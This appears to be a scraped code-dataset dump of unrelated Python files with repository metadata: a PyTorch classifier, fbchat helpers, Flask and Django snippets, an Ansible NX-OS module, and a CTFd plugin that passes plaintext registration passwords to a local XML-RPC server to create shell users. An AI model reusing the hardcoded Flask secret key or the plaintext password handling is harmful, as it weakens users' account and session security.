torch.FloatTensor = None classificationOutput: torch.FloatTensor = None regressionOutput: torch.FloatTensor = None class SequenceClassificationModel(nn.Module): def __init__(self, encoder, dim, use_coral=False, use_cls=True, supportPooledRepresentation=False, mode="both", num_labels=3, num_ranks=5, lambda_c=0.5, lambda_r=0.5, dropout_rate=0.2): super().__init__() #mode can be one of these: ["both" , "classification" , "regression"] self.encoder = encoder self.dim = dim self.use_coral = use_coral self.use_cls = use_cls self.supportPooledRepresentation = supportPooledRepresentation self.mode = mode self.num_labels = num_labels self.num_ranks = num_ranks self.lambda_c = lambda_c self.lambda_r = lambda_r self.dropout_rate = dropout_rate if self.use_cls: self.pre_classifier = nn.Linear(self.dim*2 , self.dim , bias=True) else: self.pre_classifier = nn.Linear(self.dim , self.dim , bias=True) self.dropout = nn.Dropout(p=self.dropout_rate , inplace=False) self.regressionHead = CoralLayer(self.dim , self.num_ranks) if use_coral: self.classificationHead = CoralLayer(self.dim , self.num_labels) else: self.classificationHead = nn.Linear(self.dim , self.num_labels , bias=True) def forward( self, input_ids, attention_mask, filler_indecies, labels=None, scores=None, **args): device = self.encoder.device # Getting fillers representation from pre-trained transformer (encoder) sentence_embedding = self.encoder( input_ids=input_ids, attention_mask=attention_mask, ) #Getting Fillers Representation filler_tokens = sentence_embedding[0][filler_indecies[0] , filler_indecies[1]] fillers = filler_tokens[: , 0 , :] #Concatenating [CLS] output with Filler output if the model supports [CLS] pooled_output = None if self.use_cls: if self.supportPooledRepresentation: pooled_output = torch.concat((sentence_embedding[1] , fillers) , dim=-1) else: pooled_output = torch.concat((sentence_embedding[0][: , 0 , :] , fillers) , dim=-1) else: pooled_output = fillers #Passing Pooled Output to another dense layer followed by activation function and dropout pooled_output = self.pre_classifier(pooled_output) pooled_output = nn.GELU()(pooled_output) pooled_output = self.dropout(pooled_output) #Passing the final output to the classificationHead and RegressionHead classificationOutput = self.classificationHead(pooled_output) regressionOutput = self.regressionHead(pooled_output) totalLoss = None classification_loss = None regression_loss = None #Computing classification loss if labels != None and (self.mode.lower() == "both" or self.mode.lower() == "classification"): if self.use_coral: levels = levels_from_labelbatch(labels.view(-1) , self.num_labels).to(device) classification_loss = coral_loss(classificationOutput.view(-1 , self.num_labels - 1) , levels.view(-1 , self.num_labels - 1)) else: loss_fct = nn.CrossEntropyLoss() classification_loss = loss_fct(classificationOutput.view(-1 , self.num_labels) , labels.view(-1)) #Computing regression loss if scores != None and (self.mode.lower() == "both" or self.mode.lower() == "regression"): levels = levels_from_labelbatch(scores.view(-1) , self.num_ranks).to(device) regression_loss = coral_loss(regressionOutput.view(-1 , self.num_ranks - 1) , levels.view(-1 , self.num_ranks - 1)) if self.mode.lower() == "both" and (labels != None and scores != None): totalLoss = (self.lambda_c * classification_loss) + (self.lambda_r * regression_loss) elif self.mode.lower() == "classification" and labels != None: totalLoss = classification_loss elif self.mode.lower() == "regression" and scores != None: totalLoss = regression_loss outputs = torch.concat((classificationOutput , regressionOutput) , dim=-1) finalClassificationOutput = torch.sigmoid(classificationOutput) finalRegressionOutput = torch.sigmoid(regressionOutput) finalClassificationOutput = proba_to_label(finalClassificationOutput.cpu().detach()).numpy() finalRegressionOutput = torch.sum(finalRegressionOutput.cpu().detach() , dim=-1).numpy() + 1 return CustomOutput( loss=totalLoss, logits=outputs, classificationOutput=finalClassificationOutput, regressionOutput=finalRegressionOutput, ) def model_init(encoderPath=None, dimKey=None, customEncoder=None, customDim=None, mode="both", use_coral=True, use_cls=True, supportPooledRepresentation=False, freezeEmbedding=True, num_labels=3, num_ranks=5, lambda_c=0.5, lambda_r=0.5, dropout_rate=0.2,): encoder = ts.AutoModel.from_pretrained(encoderPath) if encoderPath != None else customEncoder dim = encoder.config.to_dict()[dimKey] if dimKey != None else customDim model = SequenceClassificationModel( encoder, dim, use_coral=use_coral, use_cls=use_cls, supportPooledRepresentation=supportPooledRepresentation, mode=mode, num_labels=num_labels, num_ranks=num_ranks, lambda_c=lambda_c, lambda_r=lambda_r, dropout_rate=dropout_rate, ) try: if freezeEmbedding: for param in model.encoder.embeddings.parameters(): param.requires_grad = False except: print("The embedding layer name is different in this model, try to find the name of the emebdding layer and freeze it manually") return model def makeTrainer(model, trainDataset, data_collator, tokenizer, outputsPath, learning_rate=1.90323e-05, scheduler="cosine", save_steps=5000, batch_size=8, num_epochs=5, weight_decay=0.00123974, roundingType="F"): def data_collator_fn(items , columns=[]): data_collator_input = { "input_ids": items[columns[0]], "attention_mask": items[columns[1]] } result = data_collator(data_collator_input) items[columns[0]] = result["input_ids"] items[columns[1]] = result["attention_mask"] def collate_function(items): outputDict = { key: [] for key in items[0].keys() } for item in items: for key in item.keys(): outputDict[key].append(item[key]) data_collator_fn(outputDict , ["input_ids" , "attention_mask"]) #Removing unnecessary Items from outputDict columns = ["sentence" , "filler" , "id"] for item in columns: try: outputDict.pop(item) except: pass #Adding New Columns if "labels" in outputDict.keys(): outputDict["labels"] = torch.tensor(outputDict.pop("labels")) if "scores" in outputDict.keys(): if roundingType == "F": outputDict["scores"] = torch.tensor(outputDict.pop("scores") , dtype=torch.int32) - 1 elif roundingType == "R": outputDict["scores"] = torch.tensor([round(score) for score in outputDict.pop("scores")] , dtype=torch.int32) - 1 filler_indecies = torch.tensor(outputDict.pop("filler_indecies")).view(-1 , 1) outputDict["filler_indecies"] = (torch.arange(filler_indecies.shape[0]).view(-1 , 1) , filler_indecies) return outputDict training_args = TrainingArguments( outputsPath, learning_rate= learning_rate, lr_scheduler_type=scheduler, save_steps=save_steps, per_device_train_batch_size=batch_size, num_train_epochs=num_epochs, weight_decay=weight_decay, remove_unused_columns=False, ) trainer = Trainer( model=model, args=training_args, train_dataset=trainDataset, tokenizer=tokenizer, data_collator=collate_function, ) return trainer , collate_function """#Evaluating on Val Dataset""" def evaluateModel( model, dataset, collate_function, ): model.eval() #Passing the inputs through model labels = [] scores = [] for item in dataset: sample_input = collate_function([item]) outputs = model(input_ids=sample_input["input_ids"].to(model.encoder.device), attention_mask=sample_input["attention_mask"].to(model.encoder.device), filler_indecies=sample_input["filler_indecies"], scores=None) labels.append(outputs["classificationOutput"][0]) scores.append(outputs["regressionOutput"][0]) #Computing Accuracy count = 0 correctCount = 0 for prediction , target in zip(labels , dataset["labels"]): count += 1 correctCount += 1 if prediction == target else 0 accuracy = (correctCount / count) #Computing Spearman scores = np.array(scores , dtype=np.float32) valScores = np.array(dataset["scores"] , dtype=np.float32) spearman = stats.spearmanr(scores.reshape(-1 , 1) , valScores.reshape(-1 , 1)) return (labels , scores) , accuracy , spearman """#Making Predictions on Test Dataset""" def predictOnTestDataset( model, dataset, collate_function, labelsPath=None, scoresPath=None, ): model.eval() ids = [] classification_predictions = [] ranking_predictions = [] for item in dataset: sample_input = collate_function([item]) outputs = model(input_ids=sample_input["input_ids"].to(model.encoder.device), attention_mask=sample_input["attention_mask"].to(model.encoder.device), filler_indecies=sample_input["filler_indecies"], scores=None, labels=None) ids.append(item["id"]) classification_predictions.append(outputs["classificationOutput"][0]) ranking_predictions.append(outputs["regressionOutput"][0]) if labelsPath != None: open(labelsPath , mode="wb") write_predictions_to_file(labelsPath , ids , classification_predictions , "classification") if scoresPath != None: open(scoresPath , mode="wb") write_predictions_to_file(scoresPath , ids , ranking_predictions , "ranking") return ids , classification_predictions , ranking_predictions """#Inference""" def inference( model, sentences, fillers, tokenizer, collate_function ): model.eval() datasetDict = { "sentence": sentences, "filler": fillers, } dataset = Dataset.from_dict(datasetDict) tokenizedDataset = preprocessDataset(dataset , tokenizer) finalInput = collate_function(tokenizedDataset) outputs = model( input_ids=finalInput["input_ids"].to(model.encoder.device), attention_mask=finalInput["attention_mask"].to(model.encoder.device), filler_indecies=finalInput["filler_indecies"], ) finalLabels = [] for item in outputs["classificationOutput"].reshape(-1): if item == 0: finalLabels.append("Implausible") elif item == 1: finalLabels.append("Neutral") elif item == 2: finalLabels.append("Plausible") finalLabels = np.array(finalLabels) return { "labels": finalLabels, "scores": outputs["regressionOutput"], }

32.686354

210

0.663406

1,763

16,049

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0.196256

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0.008802

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0.176823

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0.108145

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0.231541

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211

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null

0

1

0

null

0

1

62defe5f6a2a05a1164bd7391f942132d33f8a26

1,703

py

Python

fbchat/utils.py

Dainius14/fb-chat-bot-old

6bdfa07e6a423e386ed61ce67ac218d806ad38f8

[ "MIT" ]

2

2018-04-05T14:07:16.000Z

2020-11-03T06:08:09.000Z

fbchat/utils.py

Dainius14/fb-chat-bot-old

6bdfa07e6a423e386ed61ce67ac218d806ad38f8

[ "MIT" ]

null

fbchat/utils.py

Dainius14/fb-chat-bot-old

6bdfa07e6a423e386ed61ce67ac218d806ad38f8

[ "MIT" ]

1

2018-04-05T14:17:44.000Z

import re import json from time import time from random import random USER_AGENTS = [ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/601.1.10 (KHTML, like Gecko) Version/8.0.5 Safari/601.1.10", "Mozilla/5.0 (Windows NT 6.3; WOW64; ; NCT50_AAP285C84A1328) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1", "Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6" ] def now(): return int(time()*1000) def get_json(text): return json.loads(re.sub(r"^[^{]*", '', text, 1)) def digit_to_char(digit): if digit < 10: return str(digit) return chr(ord('a') + digit - 10) def str_base(number,base): if number < 0: return '-' + str_base(-number, base) (d, m) = divmod(number, base) if d > 0: return str_base(d, base) + digit_to_char(m) return digit_to_char(m) def generateMessageID(client_id=None): k = now() l = int(random() * 4294967295) return ("<%s:%s-%s@mail.projektitan.com>" % (k, l, client_id)); def getSignatureID(): return hex(int(random() * 2147483648)) def generateOfflineThreadingID() : ret = now() value = int(random() * 4294967295); string = ("0000000000000000000000" + bin(value))[-22:] msgs = bin(ret) + string return str(int(msgs,2))

36.234043

139

0.656489

277

1,703

3.971119

0.350181

0.043636

0.049091

0.090909

0.286364

0.227273

0.17

0

0.163441

0.180857

1,703

46

140

37.021739

0.62509

0

0.153846

0.442161

0.043453

0

1

0.179487

false

0

0.102564

0.076923

0.538462

0

null

0

null

0

1

0

1

62e27fc7ce47704f27bdd2c667d663a58a6d3981

485

py

Python

tetrad_cms/cases/tasks.py

UsernameForGerman/tetraD-NK

e00b406ac7b2ce63b92698c887fb53bf53344454

[ "Apache-2.0" ]

null

tetrad_cms/cases/tasks.py

UsernameForGerman/tetraD-NK

e00b406ac7b2ce63b92698c887fb53bf53344454

[ "Apache-2.0" ]

null

tetrad_cms/cases/tasks.py

UsernameForGerman/tetraD-NK

e00b406ac7b2ce63b92698c887fb53bf53344454

[ "Apache-2.0" ]

null

from django.conf import settings from requests import Session import os from json import dumps from core.celery import app @app.task(queue='cms') def send_new_contact_to_admins(contact: dict, admins: list) -> None: s = Session() data = {'admins': admins, 'contact': contact} url = settings.TELEGRAM_BOT_API_URL + 'send/contact' try: s.post(url, data=dumps(data), headers={'Content-Type': 'application/json'}) except BaseException as e: print(e)

25.526316

83

0.694845

68

485

4.852941

0.617647

0.078788

0

0.185567

485

18

84

26.944444

0.835443

0

0.115702

0

1

0.071429

false

0

0.357143

0

0.428571

0.071429

0

null

0

null

0

1

0

1

62e353f71bc5f0d9e24cfab6d427c04ff9186124

316

py

Python

learning/example03_for.py

bokunimowakaru/iot

e2672a9b1dc0c4f3b57995daee634edce00a8029

[ "MIT" ]

6

2019-04-19T18:56:27.000Z

2022-03-07T13:08:28.000Z

learning/example03_for.py

bokunimowakaru/iot

e2672a9b1dc0c4f3b57995daee634edce00a8029

[ "MIT" ]

null

learning/example03_for.py

bokunimowakaru/iot

e2672a9b1dc0c4f3b57995daee634edce00a8029

[ "MIT" ]

null

#!/usr/bin/env python3 # coding: utf-8 # Example 03 コンピュータお得意の繰り返しfor文 from sys import argv # 本プログラムの引数argvを取得する for name in argv: # 引数を変数nameへ代入 print('Hello,', name + '!') # 変数nameの内容を、文字列Helloに続いて表示 # for文の「argv」を「argv[1:]」にするとargv[1]以降の全引数を順次nameへ代入して繰り返す

28.727273

67

0.623418

33

316

5.969697

0.848485

0

0.025974

0.268987

316

10

68

31.6

0.82684

0.566456

0

0.053846

0

1

0

false

0

0.333333

0

0.333333

0

null

0

null

0

1

0

1

62e5121cc3d103f5d833e64dac522900d5c6c105

468

py

Python

2020/02/07/An Introduction to Sessions in Flask/flask_session_example/app.py

kenjitagawa/youtube_video_code

ef3c48b9e136b3745d10395d94be64cb0a1f1c97

[ "Unlicense" ]

492

2019-06-25T12:54:31.000Z

2022-03-30T12:38:28.000Z

2020/02/07/An Introduction to Sessions in Flask/flask_session_example/app.py

kenjitagawa/youtube_video_code

ef3c48b9e136b3745d10395d94be64cb0a1f1c97

[ "Unlicense" ]

23

2019-10-01T01:36:08.000Z

2022-02-10T12:46:16.000Z

2020/02/07/An Introduction to Sessions in Flask/flask_session_example/app.py

kenjitagawa/youtube_video_code

ef3c48b9e136b3745d10395d94be64cb0a1f1c97

[ "Unlicense" ]

1,734

2019-06-03T06:25:13.000Z

2022-03-31T23:57:53.000Z

from flask import Flask, render_template, session, redirect, url_for app = Flask(__name__) app.config['SECRET_KEY'] = 'prettyprinted' @app.route('/') def index(): return render_template('index.html') @app.route('/set-background/<mode>') def set_background(mode): session['mode'] = mode return redirect(url_for('index')) @app.route('/drop-session') def drop_session(): session.pop('mode', None) return redirect(url_for('index'))

26

69

0.675214

60

468

5.066667

0.433333

0.108553

0.138158

0.131579

0.164474

0

0.15812

468

18

70

26

0.771574

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0

0.192478

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0

1

0.214286

false

0

0.071429

0.5

0.071429

0

null

0

null

0

1

0

1

62efb5daea165045f78966066a5dddd62fe07ac8

10,137

py

Python

lib/python3.8/site-packages/ansible_collections/cisco/nxos/plugins/modules/nxos_l3_interfaces.py

cjsteel/python3-venv-ansible-2.10.5

c95395c4cae844dc66fddde9b4343966f4b2ecd5

[ "Apache-1.1" ]

null

lib/python3.8/site-packages/ansible_collections/cisco/nxos/plugins/modules/nxos_l3_interfaces.py

cjsteel/python3-venv-ansible-2.10.5

c95395c4cae844dc66fddde9b4343966f4b2ecd5

[ "Apache-1.1" ]

null

lib/python3.8/site-packages/ansible_collections/cisco/nxos/plugins/modules/nxos_l3_interfaces.py

cjsteel/python3-venv-ansible-2.10.5

c95395c4cae844dc66fddde9b4343966f4b2ecd5

[ "Apache-1.1" ]

null

#!/usr/bin/python # -*- coding: utf-8 -*- # Copyright 2019 Red Hat # GNU General Public License v3.0+ # (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) ############################################# # WARNING # ############################################# # # This file is auto generated by the resource # module builder playbook. # # Do not edit this file manually. # # Changes to this file will be over written # by the resource module builder. # # Changes should be made in the model used to # generate this file or in the resource module # builder template. # ############################################# """ The module file for nxos_l3_interfaces """ from __future__ import absolute_import, division, print_function __metaclass__ = type DOCUMENTATION = """ module: nxos_l3_interfaces short_description: L3 interfaces resource module description: This module manages Layer-3 interfaces attributes of NX-OS Interfaces. version_added: 1.0.0 author: Trishna Guha (@trishnaguha) notes: - Tested against NXOS 7.3.(0)D1(1) on VIRL options: running_config: description: - This option is used only with state I(parsed). - The value of this option should be the output received from the NX-OS device by executing the command B(show running-config | section '^interface'). - The state I(parsed) reads the configuration from C(running_config) option and transforms it into Ansible structured data as per the resource module's argspec and the value is then returned in the I(parsed) key within the result. type: str config: description: A dictionary of Layer-3 interface options type: list elements: dict suboptions: name: description: - Full name of L3 interface, i.e. Ethernet1/1. type: str required: true dot1q: description: - Configures IEEE 802.1Q VLAN encapsulation on a subinterface. type: int ipv4: description: - IPv4 address and attributes of the L3 interface. type: list elements: dict suboptions: address: description: - IPV4 address of the L3 interface. type: str tag: description: - URIB route tag value for local/direct routes. type: int secondary: description: - A boolean attribute to manage addition of secondary IP address. type: bool default: false ipv6: description: - IPv6 address and attributes of the L3 interface. type: list elements: dict suboptions: address: description: - IPV6 address of the L3 interface. type: str tag: description: - URIB route tag value for local/direct routes. type: int redirects: description: - Enables/disables ip redirects type: bool unreachables: description: - Enables/disables ip redirects type: bool evpn_multisite_tracking: description: - VxLAN evpn multisite Interface tracking. Supported only on selected model. type: str version_added: 1.1.0 choices: - fabric-tracking - dci-tracking state: description: - The state of the configuration after module completion. - The state I(overridden) would override the IP address configuration of all interfaces on the device with the provided configuration in the task. Use caution with this state as you may loose access to the device. type: str choices: - merged - replaced - overridden - deleted - gathered - rendered - parsed default: merged """ EXAMPLES = """ # Using merged # Before state: # ------------- # # interface Ethernet1/6 - name: Merge provided configuration with device configuration. cisco.nxos.nxos_l3_interfaces: config: - name: Ethernet1/6 ipv4: - address: 192.168.1.1/24 tag: 5 - address: 10.1.1.1/24 secondary: true tag: 10 ipv6: - address: fd5d:12c9:2201:2::1/64 tag: 6 - name: Ethernet1/7.42 dot1q: 42 redirects: false unreachables: false state: merged # After state: # ------------ # # interface Ethernet1/6 # ip address 192.168.22.1/24 tag 5 # ip address 10.1.1.1/24 secondary tag 10 # interface Ethernet1/6 # ipv6 address fd5d:12c9:2201:2::1/64 tag 6 # interface Ethernet1/7.42 # encapsulation dot1q 42 # no ip redirects # no ip unreachables # Using replaced # Before state: # ------------- # # interface Ethernet1/6 # ip address 192.168.22.1/24 # ipv6 address "fd5d:12c9:2201:1::1/64" - name: Replace device configuration of specified L3 interfaces with provided configuration. cisco.nxos.nxos_l3_interfaces: config: - name: Ethernet1/6 ipv4: - address: 192.168.22.3/24 state: replaced # After state: # ------------ # # interface Ethernet1/6 # ip address 192.168.22.3/24 # Using overridden # Before state: # ------------- # # interface Ethernet1/2 # ip address 192.168.22.1/24 # interface Ethernet1/6 # ipv6 address "fd5d:12c9:2201:1::1/64" - name: Override device configuration of all L3 interfaces on device with provided configuration. cisco.nxos.nxos_l3_interfaces: config: - name: Ethernet1/2 ipv4: 192.168.22.3/4 state: overridden # After state: # ------------ # # interface Ethernet1/2 # ipv4 address 192.168.22.3/24 # interface Ethernet1/6 # Using deleted # Before state: # ------------- # # interface Ethernet1/6 # ip address 192.168.22.1/24 # interface Ethernet1/2 # ipv6 address "fd5d:12c9:2201:1::1/64" - name: Delete L3 attributes of given interfaces (This won't delete the interface itself). cisco.nxos.nxos_l3_interfaces: config: - name: Ethernet1/6 - name: Ethernet1/2 state: deleted # After state: # ------------ # # interface Ethernet1/6 # interface Ethernet1/2 # Using rendered - name: Use rendered state to convert task input to device specific commands cisco.nxos.nxos_l3_interfaces: config: - name: Ethernet1/800 ipv4: - address: 192.168.1.100/24 tag: 5 - address: 10.1.1.1/24 secondary: true tag: 10 - name: Ethernet1/800 ipv6: - address: fd5d:12c9:2201:2::1/64 tag: 6 state: rendered # Task Output (redacted) # ----------------------- # rendered: # - "interface Ethernet1/800" # - "ip address 192.168.1.100/24 tag 5" # - "ip address 10.1.1.1/24 secondary tag 10" # - "interface Ethernet1/800" # - "ipv6 address fd5d:12c9:2201:2::1/64 tag 6" # Using parsed # parsed.cfg # ------------ # interface Ethernet1/800 # ip address 192.168.1.100/24 tag 5 # ip address 10.1.1.1/24 secondary tag 10 # no ip redirects # interface Ethernet1/801 # ipv6 address fd5d:12c9:2201:2::1/64 tag 6 # ip unreachables # interface mgmt0 # ip address dhcp # vrf member management - name: Use parsed state to convert externally supplied config to structured format cisco.nxos.nxos_l3_interfaces: running_config: "{{ lookup('file', 'parsed.cfg') }}" state: parsed # Task output (redacted) # ----------------------- # parsed: # - name: Ethernet1/800 # ipv4: # - address: 192.168.1.100/24 # tag: 5 # - address: 10.1.1.1/24 # secondary: True # tag: 10 # redirects: False # - name: Ethernet1/801 # ipv6: # - address: fd5d:12c9:2201:2::1/64 # tag: 6 # unreachables: True # Using gathered # Existing device config state # ------------------------------- # interface Ethernet1/1 # ip address 192.0.2.100/24 # interface Ethernet1/2 # no ip redirects # ip address 203.0.113.10/24 # ip unreachables # ipv6 address 2001:db8::1/32 - name: Gather l3_interfaces facts from the device using nxos_l3_interfaces cisco.nxos.nxos_l3_interfaces: state: gathered # Task output (redacted) # ----------------------- # gathered: # - name: Ethernet1/1 # ipv4: # - address: 192.0.2.100/24 # - name: Ethernet1/2 # ipv4: # - address: 203.0.113.10/24 # ipv6: # - address: 2001:db8::1/32 # redirects: False # unreachables: True """ RETURN = """ before: description: The configuration as structured data prior to module invocation. returned: always type: list sample: > The configuration returned will always be in the same format of the parameters above. after: description: The configuration as structured data after module completion. returned: when changed type: list sample: > The configuration returned will always be in the same format of the parameters above. commands: description: The set of commands pushed to the remote device. returned: always type: list sample: ['interface Ethernet1/2', 'ip address 192.168.0.1/2'] """ from ansible.module_utils.basic import AnsibleModule from ansible_collections.cisco.nxos.plugins.module_utils.network.nxos.argspec.l3_interfaces.l3_interfaces import ( L3_interfacesArgs, ) from ansible_collections.cisco.nxos.plugins.module_utils.network.nxos.config.l3_interfaces.l3_interfaces import ( L3_interfaces, ) def main(): """ Main entry point for module execution :returns: the result form module invocation """ required_if = [ ("state", "merged", ("config",)), ("state", "replaced", ("config",)), ("state", "overridden", ("config",)), ("state", "rendered", ("config",)), ("state", "parsed", ("running_config",)), ] mutually_exclusive = [("config", "running_config")] module = AnsibleModule( argument_spec=L3_interfacesArgs.argument_spec, required_if=required_if, mutually_exclusive=mutually_exclusive, supports_check_mode=True, ) result = L3_interfaces(module).execute_module() module.exit_json(**result) if __name__ == "__main__": main()

24.96798

114

0.625037

1,266

10,137

4.946288

0.230648

0.060364

0.026988

0.027308

0.413766

0.376397

0.334079

0.306931

0.301661

0.27068

0

0.073864

0.250765

10,137

405

115

25.02963

0.750625

0.05988

0

0.487805

0

0.003049

0.890042

0.057546

0

1

0.003049

false

0

0.012195

0

0.015244

0.003049

0

null

0

1

0

null

0

1

62f131f2fd644c186231aef33c85b6720ddcf3fc

587

py

Python

securesite/payroll/admin.py

simokauranen/payroll_api_localhost

76cb4dede290afa1204236fb7b097eaeee61eb21

[ "MIT" ]

null

securesite/payroll/admin.py

simokauranen/payroll_api_localhost

76cb4dede290afa1204236fb7b097eaeee61eb21

[ "MIT" ]

null

securesite/payroll/admin.py

simokauranen/payroll_api_localhost

76cb4dede290afa1204236fb7b097eaeee61eb21

[ "MIT" ]

null

"""Module to add Employee fields to the User admin interface.""" from django.contrib import admin from django.contrib.auth.admin import UserAdmin as BaseUserAdmin from django.contrib.auth.models import User from .models import Employee class EmployeeInline(admin.StackedInline): model = Employee can_delete = False max_num = 1 verbose_name_plural = 'employee' class UserAdmin(BaseUserAdmin): # Add the ssn, salary and last_updated fields to User admin view inlines = (EmployeeInline,) admin.site.unregister(User) admin.site.register(User, UserAdmin)

23.48

68

0.758092

77

587

5.714286

0.532468

0.061364

0.115909

0.095455

0

0.002049

0.168654

587

24

69

24.458333

0.89959

0.207836

0

0.017505

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1

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false

0

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0.846154

0

null

0

null

0

1

0

1

62f23976c671843e25e3faff67dcc2d0f2fe7178

1,332

py

Python

qamplus/voice.py

qamplus/qamplus-pythonsdk

5669e621018ffd6605354b672b446c3ad631665d

[ "MIT" ]

null

qamplus/voice.py

qamplus/qamplus-pythonsdk

5669e621018ffd6605354b672b446c3ad631665d

[ "MIT" ]

null

qamplus/voice.py

qamplus/qamplus-pythonsdk

5669e621018ffd6605354b672b446c3ad631665d

[ "MIT" ]

null

class VoiceClient(object): def __init__(self, base_obj): self.base_obj = base_obj self.api_resource = "/voice/v1/{}" def create(self, direction, to, caller_id, execution_logic, reference_logic='', country_iso2='us', technology='pstn', status_callback_uri=''): api_resource = self.api_resource.format(direction) return self.base_obj.post(api_resource=api_resource, direction=direction, to=to, caller_id=caller_id, execution_logic=execution_logic, reference_logic=reference_logic, country_iso2=country_iso2, technology=technology, status_callback_uri=status_callback_uri) def update(self, reference_id, execution_logic): api_resource = self.api_resource.format(reference_id) return self.base_obj.put(api_resource=api_resource, execution_logic=execution_logic) def delete(self, reference_id): api_resource = self.api_resource.format(reference_id) return self.base_obj.delete(api_resource=api_resource) def get_status(self, reference_id): api_resource = self.api_resource.format(reference_id) return self.base_obj.get(api_resource=api_resource)

32.487805

102

0.652402

154

1,332

5.279221

0.227273

0.230012

0.081181

0.088561

0.371464

0.297663

0.258303

0

0.004077

0.263514

1,332

40

103

33.3

0.824669

0

0.111111

0

0.013564

0

1

0.185185

false

0

0.37037

0

null

1

0

null

0

1

62fd1da94147ad45face770be507f1eb73d0d1b2

404

py

Python

test.py

quantumporium/shopping_cart_project

eae13f76fce82715ddbad5aebb73035b0e1ba258

[ "MIT" ]

null

test.py

quantumporium/shopping_cart_project

eae13f76fce82715ddbad5aebb73035b0e1ba258

[ "MIT" ]

null

test.py

quantumporium/shopping_cart_project

eae13f76fce82715ddbad5aebb73035b0e1ba258

[ "MIT" ]

null

# good structure for an pytest test from app import shopping_cart def check_if_checkout_give_the_right_value(): ''' ''' arrange_array = [15,7, 10] # arrange shopping_cart_array = shopping_cart.checkout(arrange_array) # act assert shopping_cart_array == (31.99, 2.8, 34.79), "this check if the function checkout in shopping_cart work well." check_if_checkout_give_the_right_value()

36.727273

120

0.747525

62

404

4.532258

0.596774

0.213523

0.106762

0.135231

0.227758

0

0.044379

0.163366

404

11

121

36.727273

0.786982

0.111386

0

0.182609

0

0.166667

1

0.166667

false

0

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0

0.333333

0

null

1

0

null

0

1

1a05c837044c86fc7d751b18c934f19ce77168a2

12,132

py

Python

examples/challenges/shell-plugin/ctfd/CTFd/plugins/shell-plugin/shell.py

ameserole/Akeso

868f280e88f44e65e44fbe2f6c43e6b7c92fbcab

[ "MIT" ]

19

2018-02-26T00:19:17.000Z

2019-12-18T04:26:45.000Z

examples/challenges/shell-plugin/ctfd/CTFd/plugins/shell-plugin/shell.py

ameserole/Akeso

868f280e88f44e65e44fbe2f6c43e6b7c92fbcab

[ "MIT" ]

11

2018-05-07T15:11:30.000Z

2018-11-13T16:40:41.000Z

examples/challenges/shell-plugin/ctfd/CTFd/plugins/shell-plugin/shell.py

ameserole/Akeso

868f280e88f44e65e44fbe2f6c43e6b7c92fbcab

[ "MIT" ]

1

2018-08-28T15:50:09.000Z

import logging import os import re import time import urllib from threading import Thread import xmlrpclib from Queue import Queue from flask import current_app as app, render_template, request, redirect, abort, jsonify, json as json_mod, url_for, session, Blueprint from itsdangerous import TimedSerializer, BadTimeSignature, Signer, BadSignature from passlib.hash import bcrypt_sha256 from CTFd.utils import sha512, is_safe_url, authed, can_send_mail, sendmail, can_register, get_config, verify_email from CTFd.models import db, Teams, Pages import CTFd.auth import CTFd.views def create_user_thread(q): while True: user_pair = q.get(block=True) shell = xmlrpclib.ServerProxy('http://localhost:8000',allow_none=True) if user_pair[2] == "create": shell.add_user(user_pair[0], user_pair[1]) elif user_pair[2] == "change": shell.change_user(user_pair[0], user_pair[1]) def load(app): shell = Blueprint('shell', __name__, template_folder='shell-templates') app.register_blueprint(shell, url_prefix='/shell') page = Pages('shell',""" """ ) auth = Blueprint('auth', __name__) shellexists = Pages.query.filter_by(route='shell').first() if not shellexists: db.session.add(page) db.session.commit() @app.route('/shell', methods=['GET']) def shell_view(): if not authed(): return redirect(url_for('auth.login', next=request.path)) return render_template('shell.html',root=request.script_root) @app.route('/register', methods=['POST', 'GET']) def register(): if not can_register(): return redirect(url_for('auth.login')) if request.method == 'POST': errors = [] name = request.form['name'] email = request.form['email'] password = request.form['password'] name_len = len(name) < 2 names = Teams.query.add_columns('name', 'id').filter_by(name=name).first() emails = Teams.query.add_columns('email', 'id').filter_by(email=email).first() pass_short = len(password) == 0 pass_long = len(password) > 32 valid_email = re.match(r"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$)", request.form['email']) if not valid_email: errors.append("That email doesn't look right") if names: errors.append('That team name is already taken') if emails: errors.append('That email has already been used') if pass_short: errors.append('Pick a longer password') if pass_long: errors.append('Pick a shorter password') if name_len: errors.append('Pick a longer team name') if len(errors) > 0: return render_template('register.html', errors=errors, name=request.form['name'], email=request.form['email'], password=request.form['password']) else: with app.app_context(): team = Teams(name, email.lower(), password) db.session.add(team) db.session.commit() db.session.flush() shell = xmlrpclib.ServerProxy('http://localhost:8000',allow_none=True) shell.add_user(name, password) session['username'] = team.name session['id'] = team.id session['admin'] = team.admin session['nonce'] = sha512(os.urandom(10)) if can_send_mail() and get_config('verify_emails'): # Confirming users is enabled and we can send email. db.session.close() logger = logging.getLogger('regs') logger.warn("[{0}] {1} registered (UNCONFIRMED) with {2}".format(time.strftime("%m/%d/%Y %X"), request.form['name'].encode('utf-8'), request.form['email'].encode('utf-8'))) return redirect(url_for('auth.confirm_user')) else: # Don't care about confirming users if can_send_mail(): # We want to notify the user that they have registered. sendmail(request.form['email'], "You've successfully registered for {}".format(get_config('ctf_name'))) db.session.close() logger = logging.getLogger('regs') logger.warn("[{0}] {1} registered with {2}".format(time.strftime("%m/%d/%Y %X"), request.form['name'].encode('utf-8'), request.form['email'].encode('utf-8'))) return redirect(url_for('challenges.challenges_view')) else: return render_template('register.html') def reset_password(data=None): if data is not None and request.method == "GET": return render_template('reset_password.html', mode='set') if data is not None and request.method == "POST": try: s = TimedSerializer(app.config['SECRET_KEY']) name = s.loads(urllib.unquote_plus(data.decode('base64')), max_age=1800) except BadTimeSignature: return render_template('reset_password.html', errors=['Your link has expired']) except: return 